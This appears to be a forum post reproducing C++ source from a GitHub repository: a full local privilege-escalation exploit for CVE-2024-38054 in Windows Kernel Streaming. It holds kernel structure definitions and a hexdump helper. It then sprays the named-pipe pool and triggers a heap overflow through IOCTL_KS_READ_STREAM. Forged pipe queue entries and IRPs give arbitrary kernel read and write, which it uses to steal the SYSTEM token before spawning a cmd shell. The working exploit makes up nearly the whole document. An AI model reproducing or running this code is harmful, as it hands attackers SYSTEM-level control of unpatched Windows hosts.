Пожалуйста, обратите внимание, что пользователь заблокирован
C++:
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <stdio.h>
#include <vector>
#pragma comment(lib, "ntdll.lib")
#define QWORD unsigned long long
#define STATUS_SUCCESS 0
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)11
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
/* 0x0000 */ unsigned short UniqueProcessId;
/* 0x0002 */ unsigned short CreatorBackTraceIndex;
/* 0x0004 */ unsigned char ObjectTypeIndex;
/* 0x0005 */ unsigned char HandleAttributes;
/* 0x0006 */ unsigned short HandleValue;
/* 0x0008 */ uint64_t Object;
/* 0x0010 */ unsigned long GrantedAccess;
/* 0x0014 */ long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; /* size: 0x0018 */
typedef struct _SYSTEM_HANDLE_INFORMATION
{
/* 0x0000 */ unsigned long NumberOfHandles;
/* 0x0008 */ struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; /* size: 0x0020 */
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
_LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
struct _MDL* Mdl;
BYTE MdlRundownEvent[24]; // Real type is KEVENT
PULONG64 PfnArray;
BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
// IORING struct on the usermode side (in kernelbase.dll)
typedef struct _HIORING
{
HANDLE handle;
BYTE Info[0x30]; // Real type is: NT_IORING_INFO
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID Unknown;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
};
typedef struct _NT_IORING_CREATE_FLAGS
{
/* 0x0000 */ enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
/* 0x0004 */ enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS; /* size: 0x0008 */
typedef struct _NT_IORING_INFO
{
/* 0x0000 */ enum IORING_VERSION IoRingVersion;
/* 0x0004 */ struct _NT_IORING_CREATE_FLAGS Flags;
/* 0x000c */ unsigned int SubmissionQueueSize;
/* 0x0010 */ unsigned int SubmissionQueueRingMask;
/* 0x0014 */ unsigned int CompletionQueueSize;
/* 0x0018 */ unsigned int CompletionQueueRingMask;
/* 0x0020 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
/* 0x0028 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO; /* size: 0x0030 */
typedef struct _IORING_OBJECT
{
/* 0x0000 */ short Type;
/* 0x0002 */ short Size;
/* 0x0008 */ struct _NT_IORING_INFO UserInfo;
/* 0x0038 */ void* Section;
/* 0x0040 */ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
/* 0x0048 */ struct _MDL* CompletionQueueMdl;
/* 0x0050 */ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
/* 0x0058 */ unsigned __int64 ViewSize;
/* 0x0060 */ long InSubmit;
/* 0x0068 */ unsigned __int64 CompletionLock;
/* 0x0070 */ unsigned __int64 SubmitCount;
/* 0x0078 */ unsigned __int64 CompletionCount;
/* 0x0080 */ unsigned __int64 CompletionWaitUntil;
/* 0x0088 */ BYTE CompletionEvent[24];
/* 0x00a0 */ unsigned char SignalCompletionEvent;
/* 0x00a8 */ PVOID CompletionUserEvent;
/* 0x00b0 */ unsigned int RegBuffersCount;
/* 0x00b8 */ struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
/* 0x00c0 */ unsigned int RegFilesCount;
/* 0x00c8 */ void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT; /* size: 0x00d0 */
typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_ PVOID BaseAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytesToWrite,
_Out_opt_ PULONG NumberOfBytesWritten
);
struct _KDEVICE_QUEUE_ENTRY
{
struct _LIST_ENTRY DeviceListEntry; //0x0
ULONG SortKey; //0x10
UCHAR Inserted; //0x14
};
//0xd0 bytes (sizeof)
struct IRP
{
SHORT Type; //0x0
USHORT Size; //0x2
struct _MDL* _ptr64 MdlAddress; //0x8
ULONG Flags; //0x10
union
{
struct _IRP* _ptr64 MasterIrp; //0x18
LONG IrpCount; //0x18
VOID* _ptr64 SystemBuffer; //0x18
} AssociatedIrp; //0x18
struct _LIST_ENTRY ThreadListEntry; //0x20
struct _IO_STATUS_BLOCK IoStatus; //0x30
CHAR RequestorMode; //0x40
UCHAR PendingReturned; //0x41
CHAR StackCount; //0x42
CHAR CurrentLocation; //0x43
UCHAR Cancel; //0x44
UCHAR CancelIrql; //0x45
CHAR ApcEnvironment; //0x46
UCHAR AllocationFlags; //0x47
union
{
struct _IO_STATUS_BLOCK* _ptr64 UserIosb; //0x48
VOID* _ptr64 IoRingContext; //0x48
};
struct _KEVENT* _ptr64 UserEvent; //0x50
union
{
struct
{
union
{
VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); //0x58
VOID* IssuingProcess; //0x58
};
union
{
VOID* UserApcContext; //0x60
struct _IORING_OBJECT* IoRing; //0x60
};
} AsynchronousParameters; //0x58
union _LARGE_INTEGER AllocationSize; //0x58
} Overlay; //0x58
VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x68
VOID* UserBuffer; //0x70
union
{
struct
{
union
{
struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78
VOID* DriverContext[4]; //0x78
};
struct _ETHREAD* Thread; //0x98
CHAR* AuxiliaryBuffer; //0xa0
struct _LIST_ENTRY ListEntry; //0xa8
union
{
struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8
ULONG PacketType; //0xb8
};
struct _FILE_OBJECT* OriginalFileObject; //0xc0
} Overlay; //0x78
char Apc[0x58]; //0x78
VOID* CompletionKey; //0x78
} Tail; //0x78
};
typedef struct {
uint64_t Flink;
uint64_t Blink;
IRP* POINTER_64 Irp;
uint64_t SecurityContext;
uint32_t EntryType;
uint32_t QuotaInEntry;
uint32_t DataSize;
uint32_t x;
} DATA_QUEUE_ENTRY;
typedef struct _NP_DATA_QUEUE
{
LIST_ENTRY Queue;
ULONG QueueState;
ULONG BytesInQueue;
ULONG EntriesInQueue;
ULONG Quota;
ULONG QuotaUsed;
ULONG ByteOffset;
uint64_t queueTailAddr;
uint64_t queueTail;
} NP_DATA_QUEUE, * PNP_DATA_QUEUE;
typedef USHORT NODE_TYPE_CODE, * PNODE_TYPE_CODE;
typedef struct _NP_CCB
{
NODE_TYPE_CODE NodeType;
DWORD pad1;
UCHAR NamedPipeState;
// CompletionMode and ReadMode are merged into 1 list, for each entry, the 1st bit is ReadMode, 2nd bit is CompletionMode
UCHAR CompletionAndReadMode[2];
UCHAR pad2;
SECURITY_QUALITY_OF_SERVICE ClientQos;
LIST_ENTRY CcbEntry;
void* Fcb;
PVOID64 FileObject[2];
PVOID64 Process;
NP_DATA_QUEUE DataQueueInbound;
LIST_ENTRY IrpList;
char pad3[20];
NP_DATA_QUEUE DataQueueOutbound;
} NP_CCB, * PNP_CCB;
//0x10 bytes (sizeof)
struct _POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize : 8; //0x0
USHORT PoolIndex : 8; //0x0
USHORT BlockSize : 8; //0x2
USHORT PoolType : 8; //0x2
};
ULONG Ulong1; //0x0
};
ULONG PoolTag; //0x4
union
{
unsigned long long ProcessBilled; //0x8
struct
{
USHORT AllocatorBackTraceIndex; //0x8
USHORT PoolTagHash; //0xa
};
};
};
typedef NTSTATUS(__stdcall* NTFSCONTROLFILE)(
HANDLE fileHandle,
HANDLE event,
PVOID apcRoutine,
void* ApcContext,
IO_STATUS_BLOCK* ioStatusBlock,
unsigned long FsControlCode,
void* InputBuffer,
unsigned long InputBufferLength,
void* OutputBuffer,
unsigned long OutputBufferLength
);
struct _IO_COMPLETION_CONTEXT
{
unsigned long long Port; //0x0
unsigned long long Key; //0x8
unsigned long long UsageCount; //0x10
};
typedef struct _FILE_COMPLETION_INFORMATION {
HANDLE Port;
PVOID Key;
} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION;
typedef struct {
HANDLE Read;
HANDLE Write;
} PIPE_HANDLES;
#define PIPE_NAME_1 "\\\\.\\pipe\\exploit1"
#define PIPE_NAME_2 "\\\\.\\pipe\\exploit2"
#define PIPE_NAME_PAD "\\\\.\\pipe\\exploitPad"
C++:
#ifndef HEXDUMP_HPP
#define HEXDUMP_HPP
#include <cctype>
#include <iomanip>
#include <ostream>
template <unsigned RowSize, bool ShowAscii>
struct CustomHexdump
{
CustomHexdump(const void* data, unsigned length) :
mData(static_cast<const unsigned char*>(data)), mLength(length) { }
const unsigned char* mData;
const unsigned mLength;
};
template <unsigned RowSize, bool ShowAscii>
std::ostream& operator<<(std::ostream& out, const CustomHexdump<RowSize, ShowAscii>& dump)
{
out.fill('0');
for (int i = 0; i < dump.mLength; i += RowSize)
{
out << "0x" << std::setw(6) << std::hex << i << ": ";
for (int j = 0; j < RowSize; ++j)
{
if (i + j < dump.mLength)
{
out << std::hex << std::setw(2) << static_cast<int>(dump.mData[i + j]) << " ";
}
else
{
out << " ";
}
}
out << " ";
if (ShowAscii)
{
for (int j = 0; j < RowSize; ++j)
{
if (i + j < dump.mLength)
{
if (std::isprint(dump.mData[i + j]))
{
out << static_cast<char>(dump.mData[i + j]);
}
else
{
out << ".";
}
}
}
}
out << std::endl;
}
return out;
}
typedef CustomHexdump<16, true> Hexdump;
#endif // HEXDUMP_HPP
C++:
// exploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include "Header.hpp"
#include "Hexdump.hpp"
#include <Ks.h>
#include <Ksmedia.h>
#include <Cfgmgr32.h>
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Cfgmgr32.lib")
#define TEE_INTERFACE "\\\\?\\root#system#0000#{cf1dda2c-9743-11d0-a3ee-00a0c9223196}\\{cfd669f1-9bc2-11d0-8299-0000f822fe8a}&{cf1dda2c-9743-11d0-a3ee-00a0c9223196}"
#define KS_HEADER_SIZE (sizeof(KSSTREAM_HEADER) + sizeof(KS_FRAME_INFO) + sizeof(KSSTREAM_METADATA_INFO))
#define TARGET_CHUNK_SIZE 0x4000
#define VULN_CHUNK_SIZE (TARGET_CHUNK_SIZE - 0x10 - 8 * 2)
#define NP_HEADER_SIZE 0x30
#define FIRST_ENTRY_SIZE (0x2000-NP_HEADER_SIZE) //FIRST_ENTRY is not very important
#define SECOND_ENTRY_SIZE (TARGET_CHUNK_SIZE-NP_HEADER_SIZE)
#define THIRD_ENTRY_SIZE (0x1000-NP_HEADER_SIZE)
#define TOTAL_DATA_SIZE (FIRST_ENTRY_SIZE + SECOND_ENTRY_SIZE + THIRD_ENTRY_SIZE)
#define VULN_HEADER_SIZE 0x97 // KS_HEADER_SIZE: 16 byte overflow --> 0x97 = KS_HEADER_SIZE + 15, limit to 1 byte overflow
#define FRAME_SIZE 100
#define VULN_HEADER_PAD (VULN_CHUNK_SIZE - VULN_HEADER_SIZE) // Total VULN_CHUNK_SIZE will round up to page align anyway
#define NAME_PIPE_SPRAY_COUNT 2000
#define NAME_PIPE_HOLE_COUNT 10
#define EPROCESS_THREADLISTHEAD_OFFSET 0x5e0
#define EPROCESS_PID_OFFSET 0x440
#define EPROCESS_TOKEN_OFFSET 0x4b8
#define EPROCESS_PROCESSLINK_OFFSET 0x448
PIPE_HANDLES g_vulnPipe;
DATA_QUEUE_ENTRY* g_usermodeDqe;
DWORD WINAPI ThreadedWriter(void* arg) {
// Create an extra entry, making the pipe quota exceed to declared amount
char* buf = (char*)arg;
DWORD res;
WriteFile(g_vulnPipe.Write, buf, FIRST_ENTRY_SIZE, &res, NULL);
Sleep(-1);
return 0;
}
void arbitraryRead(PVOID64 addr, size_t size, PVOID result) {
//printf("[*] Reading: 0x%I64x\n", addr);
if (!g_vulnPipe.Read) {
puts("[!] No corrupted pipe");
return;
}
*(PVOID64*)((char*)g_usermodeDqe->Irp + 0x18) = addr; // SystemBuffer
g_usermodeDqe->SecurityContext = 0;
g_usermodeDqe->EntryType = 1;
g_usermodeDqe->QuotaInEntry = 0;
g_usermodeDqe->DataSize = size;
size_t bufSize = TOTAL_DATA_SIZE + 1 + size;
char* tempBuf = (char*)malloc(bufSize);
PeekNamedPipe(g_vulnPipe.Read, tempBuf, bufSize, NULL, NULL, NULL);
memcpy(result, &tempBuf[bufSize - size], size);
//std::cout << Hexdump(result, size) << std::endl;
free(tempBuf);
}
void initFakeDataQueueEntry() {
g_usermodeDqe = (DATA_QUEUE_ENTRY*)VirtualAlloc(NULL, sizeof(DATA_QUEUE_ENTRY), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
IRP* irp = (IRP*)VirtualAlloc(NULL, sizeof(IRP), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
printf("[*] Fake DATA_QUEUE_ENTRY at: 0x%p\n", g_usermodeDqe);
printf("[*] Usermode IRP at: 0x%p\n", irp);
memset(g_usermodeDqe, 0, sizeof(DATA_QUEUE_ENTRY));
g_usermodeDqe->Irp = irp;
g_usermodeDqe->SecurityContext = 0;
g_usermodeDqe->EntryType = 1;
g_usermodeDqe->QuotaInEntry = 0;
g_usermodeDqe->DataSize = 0x100; // will be fixed later when arbitrary read
}
uint64_t findEProcessById(uint64_t eProc, uint64_t targetPid) {
// eProc is a known address of an EPROCESS
uint64_t currentEProc, currentPid;
currentEProc = eProc;
while (true) {
arbitraryRead((PVOID64)(currentEProc + EPROCESS_PID_OFFSET), 8, ¤tPid);
if (currentPid == targetPid) {
return currentEProc;
}
arbitraryRead((PVOID64)(currentEProc + EPROCESS_PROCESSLINK_OFFSET), 8, ¤tEProc);
currentEProc -= EPROCESS_PROCESSLINK_OFFSET;
if (currentEProc == eProc) {
return 0;
}
}
}
void prepareWriteIRP(uint64_t irp, uint64_t thread_list, uint64_t source_address, uint64_t destination_address) {
*(ULONG*)(irp + 0x10) = 0x60850;
*(uint64_t*)(irp + 0x18) = source_address;
*(uint64_t*)(irp + 0x70) = destination_address;
*(uint64_t*)(irp + 0x20) = thread_list;
*(uint64_t*)(irp + 0x28) = thread_list;
}
void prepareDataEntryForWrite(uint64_t irp, uint32_t size) {
g_usermodeDqe->EntryType = 0;
g_usermodeDqe->DataSize = size;
g_usermodeDqe->QuotaInEntry = size - 1;
g_usermodeDqe->Irp = (IRP* __ptr64)irp;
}
int main() {
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
puts("[*] Creating pin");
HANDLE hDevice = CreateFileA(TEE_INTERFACE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
PKSPIN_CONNECT ksPinConn = (PKSPIN_CONNECT)malloc(sizeof(KSPIN_CONNECT) + sizeof(KSDATAFORMAT));
ksPinConn->Interface.Set = KSINTERFACESETID_Standard;
ksPinConn->Interface.Id = KSINTERFACE_STANDARD_STREAMING;
ksPinConn->Interface.Flags = 0;
ksPinConn->Medium.Set = KSMEDIUMSETID_Standard;
ksPinConn->Medium.Id = KSMEDIUM_STANDARD_DEVIO;
ksPinConn->Medium.Flags = 0;
ksPinConn->PinId = 0;
ksPinConn->PinToHandle = NULL;
ksPinConn->Priority.PriorityClass = KSPRIORITY_NORMAL;
ksPinConn->Priority.PrioritySubClass = KSPRIORITY_NORMAL;
PKSDATAFORMAT ksDataFormat = (PKSDATAFORMAT)(ksPinConn + 1);
ksDataFormat->FormatSize = sizeof(KSDATAFORMAT);
ksDataFormat->Flags = 0;
ksDataFormat->SampleSize = 0;
ksDataFormat->Reserved = 0;
ksDataFormat->MajorFormat = KSDATAFORMAT_TYPE_STREAM;
ksDataFormat->SubFormat = KSDATAFORMAT_SUBTYPE_NONE;
ksDataFormat->Specifier = KSDATAFORMAT_SPECIFIER_NONE;
HANDLE connHandle;
KsCreatePin(hDevice, ksPinConn, GENERIC_READ, &connHandle);
puts("[*] Setting up a DQE in usermode");
initFakeDataQueueEntry();
puts("[*] Pool spray");
int holePipeCounter = 0;
char pipeContent[TOTAL_DATA_SIZE];
memset(pipeContent, 0x42, sizeof(pipeContent));
std::vector<PIPE_HANDLES> sprayPipeList, holePipeList;
HANDLE r, w;
for (int i = 0; i < NAME_PIPE_SPRAY_COUNT; i++) {
w = CreateNamedPipeA(PIPE_NAME_1, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, TOTAL_DATA_SIZE, 0, 0, NULL);
r = CreateFileA(PIPE_NAME_1, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (r == NULL || w == NULL) {
puts("Failed to create pipe");
continue;
}
sprayPipeList.push_back({ r, w });
}
for (int i = 0; i < NAME_PIPE_HOLE_COUNT; i++) {
w = CreateNamedPipeA(PIPE_NAME_1, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, TOTAL_DATA_SIZE, 0, 0, NULL);
r = CreateFileA(PIPE_NAME_1, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (r == NULL || w == NULL) {
puts("Failed to create pipe");
continue;
}
holePipeList.push_back({ r, w });
}
// Create 1st entries
for (auto& p : sprayPipeList) {
WriteFile(p.Write, pipeContent, FIRST_ENTRY_SIZE, NULL, NULL);
}
// Creating 2nd entries
for (int i = 0; i < NAME_PIPE_SPRAY_COUNT; i++) {
WriteFile(sprayPipeList[i].Write, pipeContent, SECOND_ENTRY_SIZE, NULL, 0);
if (i > 900 && i < NAME_PIPE_SPRAY_COUNT - 10 && i % 4 == 0 && holePipeCounter < NAME_PIPE_HOLE_COUNT) {
WriteFile(holePipeList[holePipeCounter].Write, pipeContent, SECOND_ENTRY_SIZE, NULL, 0);
holePipeCounter++;
}
}
// Create 3rd entries
char thirdEntryBuf[THIRD_ENTRY_SIZE];
ZeroMemory(thirdEntryBuf, THIRD_ENTRY_SIZE);
DATA_QUEUE_ENTRY* innerEntry = (DATA_QUEUE_ENTRY*)thirdEntryBuf; // The fake entry inside the 3rd entry
innerEntry->Flink = (uint64_t)g_usermodeDqe;
innerEntry->Blink = 0;
innerEntry->Irp = NULL;
innerEntry->EntryType = 0;
innerEntry->QuotaInEntry = 0;
innerEntry->DataSize = THIRD_ENTRY_SIZE + 1;
for (auto& p : sprayPipeList) {
WriteFile(p.Write, thirdEntryBuf, THIRD_ENTRY_SIZE, NULL, NULL);
}
// Prepare payload
KSSTREAM_HEADER* ksStreamHeader = (KSSTREAM_HEADER*)malloc(VULN_CHUNK_SIZE);
ZeroMemory(ksStreamHeader, VULN_CHUNK_SIZE);
ksStreamHeader->Size = VULN_HEADER_PAD;
ksStreamHeader->FrameExtent = FRAME_SIZE;
ksStreamHeader->Data = malloc(FRAME_SIZE);
ksStreamHeader->OptionsFlags = 0;
memset(ksStreamHeader + 1, 0x41, ksStreamHeader->Size - sizeof(KSSTREAM_HEADER));
KSSTREAM_HEADER* vulnHeader = (KSSTREAM_HEADER*)((char*)ksStreamHeader + VULN_HEADER_PAD);
vulnHeader->Size = VULN_HEADER_SIZE;
vulnHeader->FrameExtent = FRAME_SIZE;
vulnHeader->Data = malloc(FRAME_SIZE);
vulnHeader->OptionsFlags = KSSTREAM_HEADER_OPTIONSF_METADATA | KSSTREAM_HEADER_OPTIONSF_FRAMEINFO | KSSTREAM_HEADER_OPTIONSF_PERSIST_SAMPLE;
memset(vulnHeader + 1, 0x41, sizeof(KS_FRAME_INFO));
KSSTREAM_METADATA_INFO* metadataInfo = (KSSTREAM_METADATA_INFO*)((char*)vulnHeader + sizeof(KSSTREAM_HEADER) + sizeof(KS_FRAME_INFO));
metadataInfo->BufferSize = sizeof(DATA_QUEUE_ENTRY);
metadataInfo->UsedSize = sizeof(DATA_QUEUE_ENTRY);
metadataInfo->Data = g_usermodeDqe;
metadataInfo->SystemVa = (PVOID)0x43434343;
metadataInfo->Flags = 0x43434343;
metadataInfo->Reserved = 0x30000000; // The overflow byte is 0x30
// Poke holes and trigger the vuln
for (auto& p : holePipeList) {
ReadFile(p.Read, pipeContent, SECOND_ENTRY_SIZE, 0, 0);
}
puts("[*] Triggering overflow");
DeviceIoControl(connHandle, IOCTL_KS_READ_STREAM, ksStreamHeader, VULN_CHUNK_SIZE, ksStreamHeader, VULN_CHUNK_SIZE, NULL, NULL);
// Detect corrupted pipe
for (auto& p : sprayPipeList) {
char outOfBoundDat[TOTAL_DATA_SIZE + 1];
DWORD byteRead;
PeekNamedPipe(p.Read, outOfBoundDat, sizeof(outOfBoundDat), &byteRead, NULL, NULL);
if (byteRead == TOTAL_DATA_SIZE + 1) {
puts("[*] Found corrupted pipe");
g_vulnPipe = { p.Read, p.Write };
}
}
if (!g_vulnPipe.Read) {
puts("[!] Can't find corrupted pipe");
exit(1);
}
char outOfBoundDat[TOTAL_DATA_SIZE + 1];
PeekNamedPipe(g_vulnPipe.Read, outOfBoundDat, sizeof(outOfBoundDat), NULL, NULL, NULL);
DATA_QUEUE_ENTRY* _ptr64 nextChunkFlink = (DATA_QUEUE_ENTRY* _ptr64)*(uint64_t*)&outOfBoundDat[TOTAL_DATA_SIZE - 0x30];
printf("[*] Next chunk Flink: 0x%I64x\n", nextChunkFlink);
DATA_QUEUE_ENTRY* _ptr64 nextChunkAddr;
arbitraryRead(&nextChunkFlink->Blink, 8, &nextChunkAddr);
printf("[*] Next chunk address: 0x%I64x\n", nextChunkAddr);
DATA_QUEUE_ENTRY* _ptr64 currentThirdEntry = (DATA_QUEUE_ENTRY * _ptr64)((uint64_t)nextChunkAddr - THIRD_ENTRY_SIZE - NP_HEADER_SIZE);
printf("[*] Leaked corrupted 3rd entry: 0x%I64x\n", currentThirdEntry);
uint64_t corruptCcbAddr;
arbitraryRead(¤tThirdEntry->Flink, 8, &corruptCcbAddr); // last entry, so the fwd pointer points to ccb
printf("[*] CCB of the corrupted pipe: 0x%I64x\n", corruptCcbAddr);
CreateThread(0, 0, ThreadedWriter, pipeContent, 0, 0);
Sleep(2000);
uint64_t nextEntry, validIrpAddr;
arbitraryRead(¤tThirdEntry->Flink, 8, &nextEntry);
arbitraryRead((PVOID64)(nextEntry + offsetof(DATA_QUEUE_ENTRY, Irp)), 8, &validIrpAddr);
printf("[*] Real IRP created at: 0x%I64x\n", validIrpAddr);
char irpData[0x100];
arbitraryRead((PVOID64)validIrpAddr, 0x100, irpData);
uint64_t threadListHead, currentEProcess, systemEProcess;
// Calculate _ETHREAD.ThreadListEntry from _ETHREAD.IrpList
// IRP belongs to the last thread created, Flink points to ThreadListHead in EProcess
arbitraryRead((PVOID64)(*(uint64_t*)(&irpData[0x20]) + 0x38), 8, &threadListHead);
currentEProcess = threadListHead - EPROCESS_THREADLISTHEAD_OFFSET;
printf("[*] Leaked current EPROCESS: 0x%I64x\n", currentEProcess);
systemEProcess = findEProcessById(currentEProcess, 4);
printf("[*] Leaked SYSTEM EPROCESS: 0x%I64x\n", systemEProcess);
puts("[*] Crafting fake IRP");
uint64_t thread_list[2];
IO_STATUS_BLOCK isb;
prepareWriteIRP((uint64_t)irpData, (uint64_t)thread_list, systemEProcess + EPROCESS_TOKEN_OFFSET, currentEProcess + EPROCESS_TOKEN_OFFSET);
// TODO: Find out why the entry holding the fake IRP has to be unbuffered
NtFsControlFile(g_vulnPipe.Write, 0, 0, 0, &isb, 0x119FF8, irpData, 0x1000, 0, 0);
uint64_t containerEntryAddr, containerIrpAddr, fakeIrpAddr;
arbitraryRead((PVOID64)nextEntry, 8, &containerEntryAddr); // New entry created at the end of the list
arbitraryRead((PVOID64)(containerEntryAddr + offsetof(DATA_QUEUE_ENTRY, Irp)), 8, &containerIrpAddr);
arbitraryRead((PVOID64)(containerIrpAddr + 0x18), 8, &fakeIrpAddr);
printf("[*] Fake IRP at: 0x%I64x\n", fakeIrpAddr);
prepareDataEntryForWrite(fakeIrpAddr, 8);
thread_list[0] = thread_list[1] = fakeIrpAddr + 0x20;
puts("[*] Trigger arbitrary write, swapping tokens");
DWORD byteRead;
ReadFile(g_vulnPipe.Read, pipeContent, 1, &byteRead, 0);
Sleep(200);
puts("[*] Done");
system("cmd");
getchar();
}
Source: https://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054